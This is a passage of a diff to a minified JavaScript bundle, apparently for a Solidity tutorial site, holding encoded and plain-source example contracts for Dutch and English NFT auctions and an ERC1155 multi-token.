Solidity",Hj=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludDI1NiBfbmZ0SWQpCiAgICAgICAgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IER1dGNoQXVjdGlvbiB7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3IGRheXM7CgogICAgSUVSQzcyMSBwdWJsaWMgaW1tdXRhYmxlIG5mdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBuZnRJZDsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIGltbXV0YWJsZSBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBpbW11dGFibGUgc3RhcnRpbmdQcmljZTsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBzdGFydEF0OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGV4cGlyZXNBdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBkaXNjb3VudFJhdGU7CgogICAgY29uc3RydWN0b3IoCiAgICAgICAgdWludDI1NiBfc3RhcnRpbmdQcmljZSwKICAgICAgICB1aW50MjU2IF9kaXNjb3VudFJhdGUsCiAgICAgICAgYWRkcmVzcyBfbmZ0LAogICAgICAgIHVpbnQyNTYgX25mdElkCiAgICApIHsKICAgICAgICBzZWxsZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgICAgIHN0YXJ0aW5nUHJpY2UgPSBfc3RhcnRpbmdQcmljZTsKICAgICAgICBzdGFydEF0ID0gYmxvY2sudGltZXN0YW1wOwogICAgICAgIGV4cGlyZXNBdCA9IGJsb2NrLnRpbWVzdGFtcCArIERVUkFUSU9OOwogICAgICAgIGRpc2NvdW50UmF0ZSA9IF9kaXNjb3VudFJhdGU7CgogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIF9zdGFydGluZ1ByaWNlID49IF9kaXNjb3VudFJhdGUgKiBEVVJBVElPTiwgInN0YXJ0aW5nIHByaWNlIDwgbWluIgogICAgICAgICk7CgogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiB0aW1lRWxhcHNlZCA9IGJsb2NrLnRpbWVzdGFtcCAtIHN0YXJ0QXQ7CiAgICAgICAgdWludDI1NiBkaXNjb3VudCA9IGRpc2NvdW50UmF0ZSAqIHRpbWVFbGFwc2VkOwogICAgICAgIHJldHVybiBzdGFydGluZ1ByaWNlIC0gZGlzY291bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gYnV5KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPCBleHBpcmVzQXQsICJhdWN0aW9uIGV4cGlyZWQiKTsKCiAgICAgICAgdWludDI1NiBwcmljZSA9IGdldFByaWNlKCk7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPj0gcHJpY2UsICJFVEggPCBwcmljZSIpOwoKICAgICAgICBuZnQudHJhbnNmZXJGcm9tKHNlbGxlciwgbXNnLnNlbmRlciwgbmZ0SWQpOwogICAgICAgIHVpbnQyNTYgcmVmdW5kID0gbXNnLnZhbHVlIC0gcHJpY2U7CiAgICAgICAgaWYgKHJlZnVuZCA+IDApIHsKICAgICAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihyZWZ1bmQpOwogICAgICAgIH0KICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VsbGVyKTsKICAgIH0KfQo="}],Fj=`

    Dutch auction for NFT.

    +`,Yj=({prev:s,next:a})=>r.jsx(A,{version:Wj,title:Bj,description:Gj,html:fj,prev:s,next:a,codes:Vj}),Xj="0.8.24",vj="Dutch Auction",Rj="An example of Dutch auction in Solidity",Nj=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludDI1NiBfbmZ0SWQpCiAgICAgICAgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IER1dGNoQXVjdGlvbiB7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3IGRheXM7CgogICAgSUVSQzcyMSBwdWJsaWMgaW1tdXRhYmxlIG5mdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBuZnRJZDsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIGltbXV0YWJsZSBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBpbW11dGFibGUgc3RhcnRpbmdQcmljZTsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBzdGFydEF0OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGV4cGlyZXNBdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBkaXNjb3VudFJhdGU7CgogICAgY29uc3RydWN0b3IoCiAgICAgICAgdWludDI1NiBfc3RhcnRpbmdQcmljZSwKICAgICAgICB1aW50MjU2IF9kaXNjb3VudFJhdGUsCiAgICAgICAgYWRkcmVzcyBfbmZ0LAogICAgICAgIHVpbnQyNTYgX25mdElkCiAgICApIHsKICAgICAgICBzZWxsZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgICAgIHN0YXJ0aW5nUHJpY2UgPSBfc3RhcnRpbmdQcmljZTsKICAgICAgICBzdGFydEF0ID0gYmxvY2sudGltZXN0YW1wOwogICAgICAgIGV4cGlyZXNBdCA9IGJsb2NrLnRpbWVzdGFtcCArIERVUkFUSU9OOwogICAgICAgIGRpc2NvdW50UmF0ZSA9IF9kaXNjb3VudFJhdGU7CgogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIF9zdGFydGluZ1ByaWNlID49IF9kaXNjb3VudFJhdGUgKiBEVVJBVElPTiwgInN0YXJ0aW5nIHByaWNlIDwgbWluIgogICAgICAgICk7CgogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiB0aW1lRWxhcHNlZCA9IGJsb2NrLnRpbWVzdGFtcCAtIHN0YXJ0QXQ7CiAgICAgICAgdWludDI1NiBkaXNjb3VudCA9IGRpc2NvdW50UmF0ZSAqIHRpbWVFbGFwc2VkOwogICAgICAgIHJldHVybiBzdGFydGluZ1ByaWNlIC0gZGlzY291bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gYnV5KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPCBleHBpcmVzQXQsICJhdWN0aW9uIGV4cGlyZWQiKTsKCiAgICAgICAgdWludDI1NiBwcmljZSA9IGdldFByaWNlKCk7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPj0gcHJpY2UsICJFVEggPCBwcmljZSIpOwoKICAgICAgICBuZnQudHJhbnNmZXJGcm9tKHNlbGxlciwgbXNnLnNlbmRlciwgbmZ0SWQpOwogICAgICAgIHVpbnQyNTYgcmVmdW5kID0gbXNnLnZhbHVlIC0gcHJpY2U7CiAgICAgICAgaWYgKHJlZnVuZCA+IDApIHsKICAgICAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihyZWZ1bmQpOwogICAgICAgIH0KICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VsbGVyKTsKICAgIH0KfQo="}],Hj=`

    Dutch auction for NFT.

    Auction

    1. Seller of NFT deploys this contract setting a starting price for the NFT.
      2. @@ -1224,7 +1224,7 @@ Closing a channel when Alice and Bob do not agree on the final balances selfdestruct(seller); } } -`,Kj=({prev:s,next:a})=>r.jsx(A,{version:Rj,title:vj,description:Nj,html:Fj,prev:s,next:a,codes:Hj}),Mj="0.8.24",Sj="English Auction",xj="An example of English auction in Solidity",Jj=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEVuZ2xpc2hBdWN0aW9uIHsKICAgIGV2ZW50IFN0YXJ0KCk7CiAgICBldmVudCBCaWQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIGJpZGRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgRW5kKGFkZHJlc3Mgd2lubmVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgSUVSQzcyMSBwdWJsaWMgbmZ0OwogICAgdWludDI1NiBwdWJsaWMgbmZ0SWQ7CgogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBlbmRBdDsKICAgIGJvb2wgcHVibGljIHN0YXJ0ZWQ7CiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICBhZGRyZXNzIHB1YmxpYyBoaWdoZXN0QmlkZGVyOwogICAgdWludDI1NiBwdWJsaWMgaGlnaGVzdEJpZDsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmlkczsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9uZnQsIHVpbnQyNTYgX25mdElkLCB1aW50MjU2IF9zdGFydGluZ0JpZCkgewogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CgogICAgICAgIHNlbGxlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgaGlnaGVzdEJpZCA9IF9zdGFydGluZ0JpZDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFydCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKCFzdGFydGVkLCAic3RhcnRlZCIpOwogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZWxsZXIsICJub3Qgc2VsbGVyIik7CgogICAgICAgIG5mdC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgbmZ0SWQpOwogICAgICAgIHN0YXJ0ZWQgPSB0cnVlOwogICAgICAgIGVuZEF0ID0gYmxvY2sudGltZXN0YW1wICsgNyBkYXlzOwoKICAgICAgICBlbWl0IFN0YXJ0KCk7CiAgICB9CgogICAgZnVuY3Rpb24gYmlkKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGVuZEF0LCAiZW5kZWQiKTsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA+IGhpZ2hlc3RCaWQsICJ2YWx1ZSA8IGhpZ2hlc3QiKTsKCiAgICAgICAgaWYgKGhpZ2hlc3RCaWRkZXIgIT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICBiaWRzW2hpZ2hlc3RCaWRkZXJdICs9IGhpZ2hlc3RCaWQ7CiAgICAgICAgfQoKICAgICAgICBoaWdoZXN0QmlkZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICBoaWdoZXN0QmlkID0gbXNnLnZhbHVlOwoKICAgICAgICBlbWl0IEJpZChtc2cuc2VuZGVyLCBtc2cudmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgZXh0ZXJuYWwgewogICAgICAgIHVpbnQyNTYgYmFsID0gYmlkc1ttc2cuc2VuZGVyXTsKICAgICAgICBiaWRzW21zZy5zZW5kZXJdID0gMDsKICAgICAgICBwYXlhYmxlKG1zZy5zZW5kZXIpLnRyYW5zZmVyKGJhbCk7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYmFsKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmQoKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+PSBlbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiZW5kZWQiKTsKCiAgICAgICAgZW5kZWQgPSB0cnVlOwogICAgICAgIGlmIChoaWdoZXN0QmlkZGVyICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgaGlnaGVzdEJpZGRlciwgbmZ0SWQpOwogICAgICAgICAgICBzZWxsZXIudHJhbnNmZXIoaGlnaGVzdEJpZCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgc2VsbGVyLCBuZnRJZCk7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEVuZChoaWdoZXN0QmlkZGVyLCBoaWdoZXN0QmlkKTsKICAgIH0KfQo="}],zj=`

      English auction for NFT.

      +`,Kj=({prev:s,next:a})=>r.jsx(A,{version:Xj,title:vj,description:Rj,html:Hj,prev:s,next:a,codes:Nj}),Fj="0.8.24",Mj="English Auction",Sj="An example of English auction in Solidity",xj=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEVuZ2xpc2hBdWN0aW9uIHsKICAgIGV2ZW50IFN0YXJ0KCk7CiAgICBldmVudCBCaWQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIGJpZGRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgRW5kKGFkZHJlc3Mgd2lubmVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgSUVSQzcyMSBwdWJsaWMgbmZ0OwogICAgdWludDI1NiBwdWJsaWMgbmZ0SWQ7CgogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBlbmRBdDsKICAgIGJvb2wgcHVibGljIHN0YXJ0ZWQ7CiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICBhZGRyZXNzIHB1YmxpYyBoaWdoZXN0QmlkZGVyOwogICAgdWludDI1NiBwdWJsaWMgaGlnaGVzdEJpZDsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmlkczsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9uZnQsIHVpbnQyNTYgX25mdElkLCB1aW50MjU2IF9zdGFydGluZ0JpZCkgewogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CgogICAgICAgIHNlbGxlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgaGlnaGVzdEJpZCA9IF9zdGFydGluZ0JpZDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFydCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKCFzdGFydGVkLCAic3RhcnRlZCIpOwogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZWxsZXIsICJub3Qgc2VsbGVyIik7CgogICAgICAgIG5mdC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgbmZ0SWQpOwogICAgICAgIHN0YXJ0ZWQgPSB0cnVlOwogICAgICAgIGVuZEF0ID0gYmxvY2sudGltZXN0YW1wICsgNyBkYXlzOwoKICAgICAgICBlbWl0IFN0YXJ0KCk7CiAgICB9CgogICAgZnVuY3Rpb24gYmlkKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGVuZEF0LCAiZW5kZWQiKTsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA+IGhpZ2hlc3RCaWQsICJ2YWx1ZSA8IGhpZ2hlc3QiKTsKCiAgICAgICAgaWYgKGhpZ2hlc3RCaWRkZXIgIT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICBiaWRzW2hpZ2hlc3RCaWRkZXJdICs9IGhpZ2hlc3RCaWQ7CiAgICAgICAgfQoKICAgICAgICBoaWdoZXN0QmlkZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICBoaWdoZXN0QmlkID0gbXNnLnZhbHVlOwoKICAgICAgICBlbWl0IEJpZChtc2cuc2VuZGVyLCBtc2cudmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgZXh0ZXJuYWwgewogICAgICAgIHVpbnQyNTYgYmFsID0gYmlkc1ttc2cuc2VuZGVyXTsKICAgICAgICBiaWRzW21zZy5zZW5kZXJdID0gMDsKICAgICAgICBwYXlhYmxlKG1zZy5zZW5kZXIpLnRyYW5zZmVyKGJhbCk7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYmFsKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmQoKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+PSBlbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiZW5kZWQiKTsKCiAgICAgICAgZW5kZWQgPSB0cnVlOwogICAgICAgIGlmIChoaWdoZXN0QmlkZGVyICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgaGlnaGVzdEJpZGRlciwgbmZ0SWQpOwogICAgICAgICAgICBzZWxsZXIudHJhbnNmZXIoaGlnaGVzdEJpZCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgc2VsbGVyLCBuZnRJZCk7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEVuZChoaWdoZXN0QmlkZGVyLCBoaWdoZXN0QmlkKTsKICAgIH0KfQo="}],Jj=`

      English auction for NFT.

      Auction

      1. Seller of NFT deploys this contract.
        2. @@ -1322,7 +1322,7 @@ Closing a channel when Alice and Bob do not agree on the final balances emit End(highestBidder, highestBid); } } -`,Dj=({prev:s,next:a})=>r.jsx(A,{version:Mj,title:Sj,description:xj,html:zj,prev:s,next:a,codes:Jj}),Ej="0.8.24",Qj="ERC1155",Tj="Example of ERC1155 multi token in Solidity",Uj=[{fileName:"ERC1155.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC1155 {
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external;
    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external;
    function balanceOf(address owner, uint256 id)
        external
        view
        returns (uint256);
    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory);
    function setApprovalForAll(address operator, bool approved) external;
    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

interface IERC1155TokenReceiver {
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4);

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4);
}

contract ERC1155 is IERC1155 {
    event TransferSingle(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256 id,
        uint256 value
    );
    event TransferBatch(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256[] ids,
        uint256[] values
    );
    event ApprovalForAll(
        address indexed owner, address indexed operator, bool approved
    );
    event URI(string value, uint256 indexed id);

    // owner => id => balance
    mapping(address => mapping(uint256 => uint256)) public balanceOf;
    // owner => operator => approved
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory balances)
    {
        require(owners.length == ids.length, "owners length != ids length");

        balances = new uint256[](owners.length);

        unchecked {
            for (uint256 i = 0; i < owners.length; i++) {
                balances[i] = balanceOf[owners[i]][ids[i]];
            }
        }
    }

    function setApprovalForAll(address operator, bool approved) external {
        isApprovedForAll[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");

        balanceOf[from][id] -= value;
        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, from, to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, from, id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, from, to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, from, ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    // ERC165
    function supportsInterface(bytes4 interfaceId)
        external
        view
        returns (bool)
    {
        return interfaceId == 0x01ffc9a7 // ERC165 Interface ID for ERC165
            || interfaceId == 0xd9b67a26 // ERC165 Interface ID for ERC1155
            || interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
    }

    // ERC1155 Metadata URI
    function uri(uint256 id) public view virtual returns (string memory) {}

    // Internal functions
    function _mint(address to, uint256 id, uint256 value, bytes memory data)
        internal
    {
        require(to != address(0), "to = 0 address");

        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, address(0), to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, address(0), id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function _batchMint(
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) internal {
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, address(0), to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, address(0), ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    function _burn(address from, uint256 id, uint256 value) internal {
        require(from != address(0), "from = 0 address");
        balanceOf[from][id] -= value;
        emit TransferSingle(msg.sender, from, address(0), id, value);
    }

    function _batchBurn(
        address from,
        uint256[] calldata ids,
        uint256[] calldata values
    ) internal {
        require(from != address(0), "from = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
        }

        emit TransferBatch(msg.sender, from, address(0), ids, values);
    }
}

contract MyMultiToken is ERC1155 {
    function mint(uint256 id, uint256 value, bytes memory data) external {
        _mint(msg.sender, id, value, data);
    }

    function batchMint(
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        _batchMint(msg.sender, ids, values, data);
    }

    function burn(uint256 id, uint256 value) external {
        _burn(msg.sender, id, value);
    }

    function batchBurn(uint256[] calldata ids, uint256[] calldata values)
        external
    {
        _batchBurn(msg.sender, ids, values);
    }
}
"}],_j=`

        Example of ERC1155

        +`,zj=({prev:s,next:a})=>r.jsx(A,{version:Fj,title:Mj,description:Sj,html:Jj,prev:s,next:a,codes:xj}),Dj="0.8.24",Ej="ERC1155",Qj="Example of ERC1155 multi token in Solidity",Tj=[{fileName:"ERC1155.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC1155 {
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external;
    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external;
    function balanceOf(address owner, uint256 id)
        external
        view
        returns (uint256);
    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory);
    function setApprovalForAll(address operator, bool approved) external;
    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

interface IERC1155TokenReceiver {
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4);

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4);
}

contract ERC1155 is IERC1155 {
    event TransferSingle(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256 id,
        uint256 value
    );
    event TransferBatch(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256[] ids,
        uint256[] values
    );
    event ApprovalForAll(
        address indexed owner, address indexed operator, bool approved
    );
    event URI(string value, uint256 indexed id);

    // owner => id => balance
    mapping(address => mapping(uint256 => uint256)) public balanceOf;
    // owner => operator => approved
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory balances)
    {
        require(owners.length == ids.length, "owners length != ids length");

        balances = new uint256[](owners.length);

        unchecked {
            for (uint256 i = 0; i < owners.length; i++) {
                balances[i] = balanceOf[owners[i]][ids[i]];
            }
        }
    }

    function setApprovalForAll(address operator, bool approved) external {
        isApprovedForAll[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");

        balanceOf[from][id] -= value;
        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, from, to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, from, id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, from, to, ids, values);

        if (to.code.length > 0) {
            require(
